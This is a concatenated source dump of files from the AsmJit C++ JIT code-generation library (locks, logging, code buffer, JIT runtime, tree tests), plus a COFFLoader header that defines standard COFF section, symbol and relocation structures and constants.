static_assert(sizeof(Lock::Handle) == sizeof(CRITICAL_SECTION), "asmjit::Lock::Handle layout must match CRITICAL_SECTION"); 43 | static_assert(alignof(Lock::Handle) == alignof(CRITICAL_SECTION), "asmjit::Lock::Handle alignment must match CRITICAL_SECTION"); 44 | 45 | inline Lock::Lock() noexcept { InitializeCriticalSection(reinterpret_cast(&_handle)); } 46 | inline Lock::~Lock() noexcept { DeleteCriticalSection(reinterpret_cast(&_handle)); } 47 | inline void Lock::lock() noexcept { EnterCriticalSection(reinterpret_cast(&_handle)); } 48 | inline void Lock::unlock() noexcept { LeaveCriticalSection(reinterpret_cast(&_handle)); } 49 | 50 | #elif !defined(__EMSCRIPTEN__) 51 | 52 | // PThread implementation. 53 | #ifdef PTHREAD_MUTEX_INITIALIZER 54 | inline Lock::Lock() noexcept : _handle(PTHREAD_MUTEX_INITIALIZER) {} 55 | #else 56 | inline Lock::Lock() noexcept { pthread_mutex_init(&_handle, nullptr); } 57 | #endif 58 | inline Lock::~Lock() noexcept { pthread_mutex_destroy(&_handle); } 59 | inline void Lock::lock() noexcept { pthread_mutex_lock(&_handle); } 60 | inline void Lock::unlock() noexcept { pthread_mutex_unlock(&_handle); } 61 | 62 | #else 63 | 64 | // Dummy implementation - Emscripten or other unsupported platform. 65 | inline Lock::Lock() noexcept {} 66 | inline Lock::~Lock() noexcept {} 67 | inline void Lock::lock() noexcept {} 68 | inline void Lock::unlock() noexcept {} 69 | 70 | #endif 71 | 72 | // ============================================================================ 73 | // [asmjit::LockGuard] 74 | // ============================================================================ 75 | 76 | //! Scoped lock. 77 | class LockGuard { 78 | public: 79 | ASMJIT_NONCOPYABLE(LockGuard) 80 | 81 | Lock& _target; 82 | 83 | inline LockGuard(Lock& target) noexcept 84 | : _target(target) { _target.lock(); } 85 | inline ~LockGuard() noexcept { _target.unlock(); } 86 | }; 87 | 88 | //! \} 89 | //! \endcond 90 | 91 | ASMJIT_END_NAMESPACE 92 | 93 | #endif // ASMJIT_CORE_OSUTILS_P_H_INCLUDED 94 | 95 | -------------------------------------------------------------------------------- /src/asmjit/core/logger.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #ifndef ASMJIT_NO_LOGGING 26 | 27 | #include "../core/logger.h" 28 | #include "../core/string.h" 29 | #include "../core/support.h" 30 | 31 | ASMJIT_BEGIN_NAMESPACE 32 | 33 | // ============================================================================ 34 | // [asmjit::Logger - Construction / Destruction] 35 | // ============================================================================ 36 | 37 | Logger::Logger() noexcept 38 | : _options() {} 39 | Logger::~Logger() noexcept {} 40 | 41 | // ============================================================================ 42 | // [asmjit::Logger - Logging] 43 | // ============================================================================ 44 | 45 | Error Logger::logf(const char* fmt, ...) noexcept { 46 | Error err; 47 | va_list ap; 48 | 49 | va_start(ap, fmt); 50 | err = logv(fmt, ap); 51 | va_end(ap); 52 | 53 | return err; 54 | } 55 | 56 | Error Logger::logv(const char* fmt, va_list ap) noexcept { 57 | StringTmp<2048> sb; 58 | ASMJIT_PROPAGATE(sb.appendVFormat(fmt, ap)); 59 | return log(sb); 60 | } 61 | 62 | // ============================================================================ 63 | // [asmjit::FileLogger - Construction / Destruction] 64 | // ============================================================================ 65 | 66 | FileLogger::FileLogger(FILE* file) noexcept 67 | : _file(file) {} 68 | FileLogger::~FileLogger() noexcept {} 69 | 70 | // ============================================================================ 71 | // [asmjit::FileLogger - Logging] 72 | // ============================================================================ 73 | 74 | Error FileLogger::_log(const char* data, size_t size) noexcept { 75 | if (!_file) 76 | return kErrorOk; 77 | 78 | if (size == SIZE_MAX) 79 | size = strlen(data); 80 | 81 | fwrite(data, 1, size, _file); 82 | return kErrorOk; 83 | } 84 | 85 | // ============================================================================ 86 | // [asmjit::StringLogger - Construction / Destruction] 87 | // ============================================================================ 88 | 89 | StringLogger::StringLogger() noexcept {} 90 | StringLogger::~StringLogger() noexcept {} 91 | 92 | // ============================================================================ 93 | // [asmjit::StringLogger - Logging] 94 | // ============================================================================ 95 | 96 | Error StringLogger::_log(const char* data, size_t size) noexcept { 97 | return _content.append(data, size); 98 | } 99 | 100 | ASMJIT_END_NAMESPACE 101 | 102 | #endif 103 | -------------------------------------------------------------------------------- /src/asmjit/core/emitterutils_p.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_EMITTERUTILS_P_H_INCLUDED 25 | #define ASMJIT_CORE_EMITTERUTILS_P_H_INCLUDED 26 | 27 | #include "../core/emitter.h" 28 | #include "../core/operand.h" 29 | 30 | ASMJIT_BEGIN_NAMESPACE 31 | 32 | class BaseAssembler; 33 | 34 | //! \cond INTERNAL 35 | //! \addtogroup asmjit_core 36 | //! \{ 37 | 38 | // ============================================================================ 39 | // [asmjit::EmitterUtils] 40 | // ============================================================================ 41 | 42 | namespace EmitterUtils { 43 | 44 | static const Operand_ noExt[3] {}; 45 | 46 | enum kOpIndex { 47 | kOp3 = 0, 48 | kOp4 = 1, 49 | kOp5 = 2 50 | }; 51 | 52 | static ASMJIT_INLINE uint32_t opCountFromEmitArgs(const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt) noexcept { 53 | uint32_t opCount = 0; 54 | 55 | if (opExt[kOp3].isNone()) { 56 | if (!o0.isNone()) opCount = 1; 57 | if (!o1.isNone()) opCount = 2; 58 | if (!o2.isNone()) opCount = 3; 59 | } 60 | else { 61 | opCount = 4; 62 | if (!opExt[kOp4].isNone()) { 63 | opCount = 5 + uint32_t(!opExt[kOp5].isNone()); 64 | } 65 | } 66 | 67 | return opCount; 68 | } 69 | 70 | static ASMJIT_INLINE void opArrayFromEmitArgs(Operand_ dst[Globals::kMaxOpCount], const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt) noexcept { 71 | dst[0].copyFrom(o0); 72 | dst[1].copyFrom(o1); 73 | dst[2].copyFrom(o2); 74 | dst[3].copyFrom(opExt[kOp3]); 75 | dst[4].copyFrom(opExt[kOp4]); 76 | dst[5].copyFrom(opExt[kOp5]); 77 | } 78 | 79 | #ifndef ASMJIT_NO_LOGGING 80 | enum : uint32_t { 81 | // Has to be big to be able to hold all metadata compiler can assign to a 82 | // single instruction. 83 | kMaxInstLineSize = 44, 84 | kMaxBinarySize = 26 85 | }; 86 | 87 | Error formatLine(String& sb, const uint8_t* binData, size_t binSize, size_t dispSize, size_t immSize, const char* comment) noexcept; 88 | 89 | void logLabelBound(BaseAssembler* self, const Label& label) noexcept; 90 | 91 | void logInstructionEmitted( 92 | BaseAssembler* self, 93 | uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt, 94 | uint32_t relSize, uint32_t immSize, uint8_t* afterCursor); 95 | 96 | Error logInstructionFailed( 97 | BaseAssembler* self, 98 | Error err, uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt); 99 | #endif 100 | 101 | } 102 | 103 | //! \} 104 | //! \endcond 105 | 106 | ASMJIT_END_NAMESPACE 107 | 108 | #endif // ASMJIT_CORE_EMITTERUTILS_P_H_INCLUDED 109 | 110 | -------------------------------------------------------------------------------- /COFFLoader/Structs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #pragma pack (push, 1) 5 | 6 | typedef struct { 7 | char Name[8]; 8 | UINT32 VirtualSize; 9 | UINT32 VirtualAddress; 10 | UINT32 SizeOfRawData; 11 | UINT32 PointerToRawData; 12 | UINT32 PointerToRelocations; 13 | UINT32 PointerToLinenumbers; 14 | UINT16 NumberOfRelocations; 15 | UINT16 NumberOfLinenumbers; 16 | UINT32 Characteristics; 17 | } SECTION_HEADER, *PSECTION_HEADER; 18 | 19 | typedef struct { 20 | LPCSTR name; 21 | uint64_t sectionOffset; 22 | PSECTION_HEADER sectionHeaderPtr; 23 | } SECTION_INFO, *PSECTION_INFO; 24 | 25 | typedef struct { 26 | UINT16 Machine; 27 | UINT16 NumberOfSections; 28 | UINT32 TimeDateStamp; 29 | UINT32 PointerToSymbolTable; 30 | UINT32 NumberOfSymbols; 31 | UINT16 SizeOfOptionalHeader; 32 | UINT16 Characteristics; 33 | } FILE_HEADER, *PFILE_HEADER; 34 | 35 | typedef struct { 36 | union { 37 | char Name[8]; 38 | UINT32 value[2]; 39 | } first; 40 | UINT32 Value; 41 | UINT16 SectionNumber; 42 | UINT16 Type; 43 | UINT8 StorageClass; 44 | UINT8 NumberOfAuxSymbols; 45 | } SYMBOL_TABLE_ENTRY, *PSYMBOL_TABLE_ENTRY; 46 | 47 | typedef struct { 48 | UINT32 VirtualAddress; 49 | UINT32 SymbolTableIndex; 50 | UINT16 Type; 51 | } RELOCATION_TABLE_ENTRY, *PRELOCATION_TABLE_ENTRY; 52 | 53 | #pragma pack(pop) 54 | 55 | 56 | 57 | #define IMAGE_REL_AMD64_ABSOLUTE 0x0000 58 | #define IMAGE_REL_AMD64_ADDR64 0x0001 59 | #define IMAGE_REL_AMD64_ADDR32 0x0002 60 | #define IMAGE_REL_AMD64_ADDR32NB 0x0003 61 | /* Most common from the looks of it, just 32-bit relative address from the byte following the relocation */ 62 | #define IMAGE_REL_AMD64_REL32 0x0004 63 | /* Second most common, 32-bit address without an image base. Not sure what that means... */ 64 | #define IMAGE_REL_AMD64_REL32_1 0x0005 65 | #define IMAGE_REL_AMD64_REL32_2 0x0006 66 | #define IMAGE_REL_AMD64_REL32_3 0x0007 67 | #define IMAGE_REL_AMD64_REL32_4 0x0008 68 | #define IMAGE_REL_AMD64_REL32_5 0x0009 69 | #define IMAGE_REL_AMD64_SECTION 0x000A 70 | #define IMAGE_REL_AMD64_SECREL 0x000B 71 | #define IMAGE_REL_AMD64_SECREL7 0x000C 72 | #define IMAGE_REL_AMD64_TOKEN 0x000D 73 | #define IMAGE_REL_AMD64_SREL32 0x000E 74 | #define IMAGE_REL_AMD64_PAIR 0x000F 75 | #define IMAGE_REL_AMD64_SSPAN32 0x0010 76 | 77 | 78 | // 79 | // Storage classes. 80 | // 81 | #define IMAGE_SYM_CLASS_NULL 0x0000 82 | #define IMAGE_SYM_CLASS_AUTOMATIC 0x0001 83 | #define IMAGE_SYM_CLASS_EXTERNAL 0x0002 84 | #define IMAGE_SYM_CLASS_STATIC 0x0003 85 | #define IMAGE_SYM_CLASS_REGISTER 0x0004 86 | #define IMAGE_SYM_CLASS_EXTERNAL_DEF 0x0005 87 | #define IMAGE_SYM_CLASS_LABEL 0x0006 88 | #define IMAGE_SYM_CLASS_UNDEFINED_LABEL 0x0007 89 | #define IMAGE_SYM_CLASS_MEMBER_OF_STRUCT 0x0008 90 | #define IMAGE_SYM_CLASS_ARGUMENT 0x0009 91 | #define IMAGE_SYM_CLASS_STRUCT_TAG 0x000A 92 | #define IMAGE_SYM_CLASS_MEMBER_OF_UNION 0x000B 93 | #define IMAGE_SYM_CLASS_UNION_TAG 0x000C 94 | #define IMAGE_SYM_CLASS_TYPE_DEFINITION 0x000D 95 | #define IMAGE_SYM_CLASS_UNDEFINED_STATIC 0x000E 96 | #define IMAGE_SYM_CLASS_ENUM_TAG 0x000F 97 | #define IMAGE_SYM_CLASS_MEMBER_OF_ENUM 0x0010 98 | #define IMAGE_SYM_CLASS_REGISTER_PARAM 0x0011 99 | #define IMAGE_SYM_CLASS_BIT_FIELD 0x0012 100 | #define IMAGE_SYM_CLASS_FAR_EXTERNAL 0x0044 101 | #define IMAGE_SYM_CLASS_BLOCK 0x0064 102 | #define IMAGE_SYM_CLASS_FUNCTION 0x0065 103 | #define IMAGE_SYM_CLASS_END_OF_STRUCT 0x0066 104 | #define IMAGE_SYM_CLASS_FILE 0x0067 105 | #define IMAGE_SYM_CLASS_SECTION 0x0068 106 | #define IMAGE_SYM_CLASS_WEAK_EXTERNAL 0x0069 107 | #define IMAGE_SYM_CLASS_CLR_TOKEN 0x006B 108 | -------------------------------------------------------------------------------- /src/asmjit/core/osutils.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/osutils.h" 26 | #include "../core/support.h" 27 | 28 | #if defined(_WIN32) 29 | #include 30 | #elif defined(__APPLE__) 31 | #include 32 | #else 33 | #include 34 | #include 35 | #endif 36 | 37 | ASMJIT_BEGIN_NAMESPACE 38 | 39 | // ============================================================================ 40 | // [asmjit::OSUtils - GetTickCount] 41 | // ============================================================================ 42 | 43 | uint32_t OSUtils::getTickCount() noexcept { 44 | #if defined(_WIN32) 45 | enum HiResStatus : uint32_t { 46 | kHiResUnknown = 0, 47 | kHiResAvailable = 1, 48 | kHiResNotAvailable = 2 49 | }; 50 | 51 | static std::atomic _hiResStatus(kHiResUnknown); 52 | static volatile double _hiResFreq(0); 53 | 54 | uint32_t status = _hiResStatus.load(); 55 | LARGE_INTEGER now, qpf; 56 | 57 | if (status != kHiResNotAvailable && ::QueryPerformanceCounter(&now)) { 58 | double freq = _hiResFreq; 59 | if (status == kHiResUnknown) { 60 | // Detects the availability of high resolution counter. 61 | if (::QueryPerformanceFrequency(&qpf)) { 62 | freq = double(qpf.QuadPart) / 1000.0; 63 | _hiResFreq = freq; 64 | _hiResStatus.compare_exchange_strong(status, kHiResAvailable); 65 | status = kHiResAvailable; 66 | } 67 | else { 68 | // High resolution not available. 69 | _hiResStatus.compare_exchange_strong(status, kHiResNotAvailable); 70 | } 71 | } 72 | 73 | if (status == kHiResAvailable) 74 | return uint32_t(uint64_t(int64_t(double(now.QuadPart) / freq)) & 0xFFFFFFFFu); 75 | } 76 | 77 | // Bail to `GetTickCount()` if we cannot use high resolution. 78 | return ::GetTickCount(); 79 | #elif defined(__APPLE__) 80 | // See Apple's QA1398. 81 | static mach_timebase_info_data_t _machTime; 82 | 83 | uint32_t denom = _machTime.denom; 84 | if (ASMJIT_UNLIKELY(!denom)) { 85 | if (mach_timebase_info(&_machTime) != KERN_SUCCESS || !(denom = _machTime.denom)) 86 | return 0; 87 | } 88 | 89 | // `mach_absolute_time()` returns nanoseconds, we want milliseconds. 90 | uint64_t t = mach_absolute_time() / 1000000u; 91 | t = (t * _machTime.numer) / _machTime.denom; 92 | return uint32_t(t & 0xFFFFFFFFu); 93 | #elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0 94 | struct timespec ts; 95 | if (ASMJIT_UNLIKELY(clock_gettime(CLOCK_MONOTONIC, &ts) != 0)) 96 | return 0; 97 | 98 | uint64_t t = (uint64_t(ts.tv_sec ) * 1000u) + (uint64_t(ts.tv_nsec) / 1000000u); 99 | return uint32_t(t & 0xFFFFFFFFu); 100 | #else 101 | #pragma message("asmjit::OSUtils::getTickCount() doesn't have implementation for the target OS.") 102 | return 0; 103 | #endif 104 | } 105 | 106 | ASMJIT_END_NAMESPACE 107 | -------------------------------------------------------------------------------- /src/asmjit/core/zonetree.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/support.h" 26 | #include "../core/zone.h" 27 | #include "../core/zonetree.h" 28 | 29 | ASMJIT_BEGIN_NAMESPACE 30 | 31 | // ============================================================================ 32 | // [asmjit::ZoneTree - Unit] 33 | // ============================================================================ 34 | 35 | #if defined(ASMJIT_TEST) 36 | template 37 | struct ZoneRBUnit { 38 | typedef ZoneTree Tree; 39 | 40 | static void verifyTree(Tree& tree) noexcept { 41 | EXPECT(checkHeight(static_cast(tree._root)) > 0); 42 | } 43 | 44 | // Check whether the Red-Black tree is valid. 45 | static int checkHeight(NodeT* node) noexcept { 46 | if (!node) return 1; 47 | 48 | NodeT* ln = node->left(); 49 | NodeT* rn = node->right(); 50 | 51 | // Invalid tree. 52 | EXPECT(ln == nullptr || *ln < *node); 53 | EXPECT(rn == nullptr || *rn > *node); 54 | 55 | // Red violation. 56 | EXPECT(!node->isRed() || 57 | (!ZoneTreeNode::_isValidRed(ln) && !ZoneTreeNode::_isValidRed(rn))); 58 | 59 | // Black violation. 60 | int lh = checkHeight(ln); 61 | int rh = checkHeight(rn); 62 | EXPECT(!lh || !rh || lh == rh); 63 | 64 | // Only count black links. 65 | return (lh && rh) ? lh + !node->isRed() : 0; 66 | } 67 | }; 68 | 69 | class MyRBNode : public ZoneTreeNodeT { 70 | public: 71 | ASMJIT_NONCOPYABLE(MyRBNode) 72 | 73 | inline explicit MyRBNode(uint32_t key) noexcept 74 | : _key(key) {} 75 | 76 | inline bool operator<(const MyRBNode& other) const noexcept { return _key < other._key; } 77 | inline bool operator>(const MyRBNode& other) const noexcept { return _key > other._key; } 78 | 79 | inline bool operator<(uint32_t queryKey) const noexcept { return _key < queryKey; } 80 | inline bool operator>(uint32_t queryKey) const noexcept { return _key > queryKey; } 81 | 82 | uint32_t _key; 83 | }; 84 | 85 | UNIT(zone_rbtree) { 86 | uint32_t kCount = BrokenAPI::hasArg("--quick") ? 1000 : 10000; 87 | 88 | Zone zone(4096); 89 | ZoneTree rbTree; 90 | 91 | uint32_t key; 92 | INFO("Inserting %u elements to RBTree and validating each operation", unsigned(kCount)); 93 | for (key = 0; key < kCount; key++) { 94 | rbTree.insert(zone.newT(key)); 95 | ZoneRBUnit::verifyTree(rbTree); 96 | } 97 | 98 | uint32_t count = kCount; 99 | INFO("Removing %u elements from RBTree and validating each operation", unsigned(kCount)); 100 | do { 101 | MyRBNode* node; 102 | 103 | for (key = 0; key < count; key++) { 104 | node = rbTree.get(key); 105 | EXPECT(node != nullptr); 106 | EXPECT(node->_key == key); 107 | } 108 | 109 | node = rbTree.get(--count); 110 | rbTree.remove(node); 111 | ZoneRBUnit::verifyTree(rbTree); 112 | } while (count); 113 | 114 | EXPECT(rbTree.empty()); 115 | } 116 | #endif 117 | 118 | ASMJIT_END_NAMESPACE 119 | -------------------------------------------------------------------------------- /src/asmjit/core/codebuffer.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_CODEBUFFER_H_INCLUDED 25 | #define ASMJIT_CORE_CODEBUFFER_H_INCLUDED 26 | 27 | #include "../core/globals.h" 28 | 29 | ASMJIT_BEGIN_NAMESPACE 30 | 31 | //! \addtogroup asmjit_core 32 | //! \{ 33 | 34 | // ============================================================================ 35 | // [asmjit::CodeBuffer] 36 | // ============================================================================ 37 | 38 | //! Code or data buffer. 39 | struct CodeBuffer { 40 | //! The content of the buffer (data). 41 | uint8_t* _data; 42 | //! Number of bytes of `data` used. 43 | size_t _size; 44 | //! Buffer capacity (in bytes). 45 | size_t _capacity; 46 | //! Buffer flags. 47 | uint32_t _flags; 48 | 49 | //! Code buffer flags. 50 | enum Flags : uint32_t { 51 | //! Buffer is external (not allocated by asmjit). 52 | kFlagIsExternal = 0x00000001u, 53 | //! Buffer is fixed (cannot be reallocated). 54 | kFlagIsFixed = 0x00000002u 55 | }; 56 | 57 | //! \name Overloaded Operators 58 | //! \{ 59 | 60 | //! Returns a referebce to the byte at the given `index`. 61 | inline uint8_t& operator[](size_t index) noexcept { 62 | ASMJIT_ASSERT(index < _size); 63 | return _data[index]; 64 | } 65 | //! \overload 66 | inline const uint8_t& operator[](size_t index) const noexcept { 67 | ASMJIT_ASSERT(index < _size); 68 | return _data[index]; 69 | } 70 | 71 | //! \} 72 | 73 | //! \name Accessors 74 | //! \{ 75 | 76 | //! Returns code buffer flags, see \ref Flags. 77 | inline uint32_t flags() const noexcept { return _flags; } 78 | //! Tests whether the code buffer has the given `flag` set. 79 | inline bool hasFlag(uint32_t flag) const noexcept { return (_flags & flag) != 0; } 80 | 81 | //! Tests whether this code buffer has a fixed size. 82 | //! 83 | //! Fixed size means that the code buffer is fixed and cannot grow. 84 | inline bool isFixed() const noexcept { return hasFlag(kFlagIsFixed); } 85 | 86 | //! Tests whether the data in this code buffer is external. 87 | //! 88 | //! External data can only be provided by users, it's never used by AsmJit. 89 | inline bool isExternal() const noexcept { return hasFlag(kFlagIsExternal); } 90 | 91 | //! Tests whether the data in this code buffer is allocated (non-null). 92 | inline bool isAllocated() const noexcept { return _data != nullptr; } 93 | 94 | //! Tests whether the code buffer is empty. 95 | inline bool empty() const noexcept { return !_size; } 96 | 97 | //! Returns the size of the data. 98 | inline size_t size() const noexcept { return _size; } 99 | //! Returns the capacity of the data. 100 | inline size_t capacity() const noexcept { return _capacity; } 101 | 102 | //! Returns the pointer to the data the buffer references. 103 | inline uint8_t* data() noexcept { return _data; } 104 | //! \overload 105 | inline const uint8_t* data() const noexcept { return _data; } 106 | 107 | //! \} 108 | 109 | //! \name Iterators 110 | //! \{ 111 | 112 | inline uint8_t* begin() noexcept { return _data; } 113 | inline const uint8_t* begin() const noexcept { return _data; } 114 | 115 | inline uint8_t* end() noexcept { return _data + _size; } 116 | inline const uint8_t* end() const noexcept { return _data + _size; } 117 | 118 | //! \} 119 | }; 120 | 121 | //! \} 122 | 123 | ASMJIT_END_NAMESPACE 124 | 125 | #endif // ASMJIT_CORE_CODEBUFFER_H_INCLUDED 126 | 127 | -------------------------------------------------------------------------------- /src/asmjit/core/jitruntime.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_JITRUNTIME_H_INCLUDED 25 | #define ASMJIT_CORE_JITRUNTIME_H_INCLUDED 26 | 27 | #include "../core/api-config.h" 28 | #ifndef ASMJIT_NO_JIT 29 | 30 | #include "../core/codeholder.h" 31 | #include "../core/jitallocator.h" 32 | #include "../core/target.h" 33 | 34 | ASMJIT_BEGIN_NAMESPACE 35 | 36 | class CodeHolder; 37 | 38 | //! \addtogroup asmjit_virtual_memory 39 | //! \{ 40 | 41 | // ============================================================================ 42 | // [asmjit::JitRuntime] 43 | // ============================================================================ 44 | 45 | //! JIT execution runtime is a special `Target` that is designed to store and 46 | //! execute the generated code. 47 | class ASMJIT_VIRTAPI JitRuntime : public Target { 48 | public: 49 | ASMJIT_NONCOPYABLE(JitRuntime) 50 | 51 | //! Virtual memory allocator. 52 | JitAllocator _allocator; 53 | 54 | //! \name Construction & Destruction 55 | //! \{ 56 | 57 | //! Creates a `JitRuntime` instance. 58 | explicit ASMJIT_API JitRuntime(const JitAllocator::CreateParams* params = nullptr) noexcept; 59 | //! Destroys the `JitRuntime` instance. 60 | ASMJIT_API virtual ~JitRuntime() noexcept; 61 | 62 | inline void reset(uint32_t resetPolicy = Globals::kResetSoft) noexcept { 63 | _allocator.reset(resetPolicy); 64 | } 65 | 66 | //! \} 67 | 68 | //! \name Accessors 69 | //! \{ 70 | 71 | //! Returns the associated `JitAllocator`. 72 | inline JitAllocator* allocator() const noexcept { return const_cast(&_allocator); } 73 | 74 | //! \} 75 | 76 | //! \name Utilities 77 | //! \{ 78 | 79 | // NOTE: To allow passing function pointers to `add()` and `release()` the 80 | // virtual methods are prefixed with `_` and called from templates instead. 81 | 82 | //! Allocates memory needed for a code stored in the `CodeHolder` and relocates 83 | //! the code to the pointer allocated. 84 | //! 85 | //! The beginning of the memory allocated for the function is returned in `dst`. 86 | //! If failed `Error` code is returned and `dst` is explicitly set to `nullptr` 87 | //! (this means that you don't have to set it to null before calling `add()`). 88 | template 89 | inline Error add(Func* dst, CodeHolder* code) noexcept { 90 | return _add(Support::ptr_cast_impl(dst), code); 91 | } 92 | 93 | //! Releases `p` which was obtained by calling `add()`. 94 | template 95 | inline Error release(Func p) noexcept { 96 | return _release(Support::ptr_cast_impl(p)); 97 | } 98 | 99 | //! Type-unsafe version of `add()`. 100 | ASMJIT_API virtual Error _add(void** dst, CodeHolder* code) noexcept; 101 | 102 | //! Type-unsafe version of `release()`. 103 | ASMJIT_API virtual Error _release(void* p) noexcept; 104 | 105 | //! Flushes an instruction cache. 106 | //! 107 | //! This member function is called after the code has been copied to the 108 | //! destination buffer. It is only useful for JIT code generation as it 109 | //! causes a flush of the processor's cache. 110 | //! 111 | //! Flushing is basically a NOP under X86, but is needed by architectures 112 | //! that do not have a transparent instruction cache like ARM. 113 | //! 114 | //! This function can also be overridden to improve compatibility with tools 115 | //! such as Valgrind, however, it's not an official part of AsmJit. 116 | ASMJIT_API virtual void flush(const void* p, size_t size) noexcept; 117 | 118 | //! \} 119 | }; 120 | 121 | //! \} 122 | 123 | ASMJIT_END_NAMESPACE 124 | 125 | #endif 126 | #endif 127 | -------------------------------------------------------------------------------- /src/asmjit/core/jitruntime.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product 